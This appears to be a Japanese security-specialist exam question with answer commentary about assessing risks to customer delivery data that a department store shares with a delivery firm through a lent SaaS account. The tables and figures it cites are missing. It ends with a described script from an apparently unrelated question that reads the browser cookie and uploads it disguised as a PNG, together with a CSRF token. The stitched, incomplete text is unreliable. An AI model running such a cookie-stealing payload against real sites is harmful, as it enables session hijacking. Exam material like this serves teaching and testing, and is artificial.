G 百貨店は，国内で 5 店舗を営業している。G 百貨店では，贈答品として販売される菓子類のうち，特定の地域向けに配送されるもの（以下，菓子類 F という）の配送と在庫管理を W 社に委託している。
〔W 社での配送業務〕
W 社は従業員 100 名の地域運送会社で，本社事務所と倉庫が同一敷地内にあり，それ以外の拠点はない。
G 百貨店では，贈答品の受注情報を，S サービスという受注管理 SaaS に登録している。菓子類 F の受注情報（以下，菓子類 F の受注情報を Z 情報という）が登録された後の，W 社の配送業務におけるデータの流れは，図1のとおりである。
図1 W 社の配送業務におけるデータの流れ
W 社の配送管理課では，毎日 09:00-21:00 の間，常時稼働 1 名として 6 時間交代で配送管理業務を行っている。配送管理用 PC は 1 台を交代で使用している。
S サービスに登録された Z 情報を W 社が参照できるようにするために，G 百貨店は，自社に発行された S サービスのアカウントを一つ W 社に貸与している（以下，G 百貨店が W 社に貸与している S サービスのアカウントを貸与アカウントという）。貸与アカウントでは，Z 情報だけにアクセスできるように権限を設定している。なお，S サービスと W 社の各システムは直接連携しておらず，W 社の配送管理課員が Z 情報を参照して，在庫管理サーバ及び配送管理 SaaS に入力している。1 日当たりの Z 情報の件数は 10〜50 件である。Z 情報には，配送先の住所・氏名・電話番号の情報が含まれている。配送先の情報に不備がある場合は，配送員が配送管理課に電話で問い合わせることがある。なお，配送に関する G 百貨店から W 社への特別な連絡事項は，電子メール（以下，メールという）で送られてくる。
〔リスクアセスメントの開始〕
ランサムウェアによる“二重の脅迫”が社会的な問題となったことをきっかけに，G 百貨店では全ての情報資産を対象にしたリスクアセスメントを実施することになり，セキュリティコンサルティング会社である E 社に作業を依頼した。リスクアセスメントの開始に当たり，G 百貨店は，G 百貨店の情報資産を取り扱っている委託先に対して，E 社の調査に応じるよう要請し，承諾を得た。この中には W 社も含まれていた。
情報資産のうち贈答品の受注情報に関するリスクアセスメントは，E 社の情報処理安全確保支援士（登録セキスペ）の T さんが担当することになった。T さんは，まず Z 情報の機密性に限定してリスクアセスメントを進めることにして，必要な調査を実施した。T さんは，調査結果として，S サービスの仕様と G 百貨店の設定状況を表1に，W 社のネットワーク構成を図2に，W 社の情報セキュリティの状況を表2にまとめた。
表1 S サービスの仕様と G 百貨店の設定状況（抜粋）図2 W 社のネットワーク構成表2 W 社の情報セキュリティの状況表2 W 社の情報セキュリティの状況（続き）
T さんは，G 百貨店が定めた図3のリスクアセスメントの手順に従って，Z 情報の機密性に関するリスクアセスメントを進めた。
図3 リスクアセスメントの手順表3 リスクレベルの基準
T さんは，表4のリスクアセスメントの結果を G 百貨店に報告した。
表4 リスクアセスメントの結果（抜粋）表4 リスクアセスメントの結果（抜粋）（続き）
〔リスクの管理策の検討〕
報告を受けた後，G 百貨店は，総合評価が A〜C のリスクについて，リスクを低減するために追加すべき管理策の検討を E 社に依頼した。依頼に当たり，G 百貨店は次のとおり条件を提示した。
図1のデータの流れを変更しない前提で管理策を検討すること
リスク番号 1-1 及び 2-4 については，総合評価にかかわらず，管理策を検討すること
依頼を受けた E 社は，T さんをリーダーとする数名のチームが管理策を検討した。追加すべき管理策の検討結果を表5に示す。
表5 追加すべき管理策の検討結果（抜粋）
その後，T さんは，Z 情報の完全性及び可用性についてのリスクアセスメント，並びに菓子類 F 以外の贈答品の受注情報についてのリスクアセスメントを行い，必要に応じて管理策を検討した。
E 社から全ての情報資産のリスクアセスメント結果及び追加すべき管理策の報告を受けた G 百貨店は，報告内容から W 社に関連する部分を抜粋して W 社にも伝えた。G 百貨店と W 社は，幾つかの管理策を実施し，順調に贈答品の販売及び配送を行っている。
イ・ウ：持ち出された ID と PW があれば，S サービスは全ての IP アドレスからのログインを許可し（表1 項番3），一括出力機能も全アカウントに許可している（項番4）ので，W 社外からほぼ全ての Z 情報を取り出せる。被害の大きさは“大”。発生頻度は“低”なので，表3から総合評価は C になる。エ：G 百貨店が貸与アカウントのログイン元 IP アドレスを W 社のプロキシサーバ（W 社からインターネットへの通信の出口。表2 項番4）だけに制限すれば，持ち出した ID と PW を W 社外で使ってもログインできない。図1のデータの流れも変わらない。
間違えやすい点。ア では項番8（誰でも配送管理用 PC に近づける）も関係しそうに見えるが，1-1 は ID と PW を書き写して持ち出す行為で，PC に触れる必要がない。解答例は項番10〜13 の人的な状況と PW の管理の状況だけを挙げている。
W 社の PC 又はサーバの脆弱性を悪用し，インターネット上の PC から W 社の PC 又はサーバを不正に操作する
表2 項番4
FW は，ステートフルパケットインスペクション型で，インターネットから W 社への全ての通信を禁止している。
a：リスク番号1-5 は，過失で ID と PW を W 社外の第三者にメールで送ってしまうリスクである。関係するのは，項番5（メール SaaS の“特定のキーワードを含むメールの送信のブロック”が無効で，誤送信を止められない），項番10（ID と PW の取扱方法やメール送信時の注意事項の研修をしている），項番12（ID と PW がメールで周知されており，そのメールを誤って転送しやすい）である。a は 5，10，12。
b：リスク番号2-2 は，W 社の PC 又はサーバの脆弱性を悪用してインターネットから不正に操作し，配送管理用 PC にキーロガーを埋め込むリスクである。関係するのは，項番2（パターンマッチング型のマルウェア対策ソフト。既知のキーロガーなら検知できる），項番3（脆弱性修正プログラムの適用が遅滞なく行われ，悪用できる脆弱性が少ない），項番4（FW がインターネットから W 社への通信を全て禁止し，外から直接操作しにくい）である。b は 2，3，4。これらの対策が効いているので，発生頻度は“低”と評価されている。
![行番号付きのスクリプト（全20行）。1: xhr = new XMLHttpRequest();。2: url1 = "https://□□□.co.jp/user/profile";。3: xhr.open("get", url1);。4: xhr.responseType = "document"; // レスポンスをテキストではなく DOM として受信する。。5: xhr.send();。6: xhr.onload = function() { // 以降は，1 回目の XMLHttpRequest(XHR)のレスポンスの受信に成功してから実行される。。7: page = xhr.response;。8: token = page.getElementById("token").value;。9: xhr2 = new XMLHttpRequest();。10: url2 = "https://□□□.co.jp/user/upload";。11: xhr2.open("post", url2);。12: form = new FormData();。13: cookie = document.cookie;。14: fname = "a.png";。15: ftype = "image/png";。16: file = new File([cookie], fname, {type: ftype}); // アップロードするファイルオブジェクト // 第 1 引数：ファイルコンテンツ // 第 2 引数：ファイル名 // 第 3 引数：MIME タイプなどのオプション。17: form.append("uploadfile", file);。18: form.append("token", token);。19: xhr2.send(form);。20: }。注記 スクリプトの整形とコメントの追記は，N さんが実施したものである。](/data/figures/2023r05a-sc-pm/q1-f4.png)
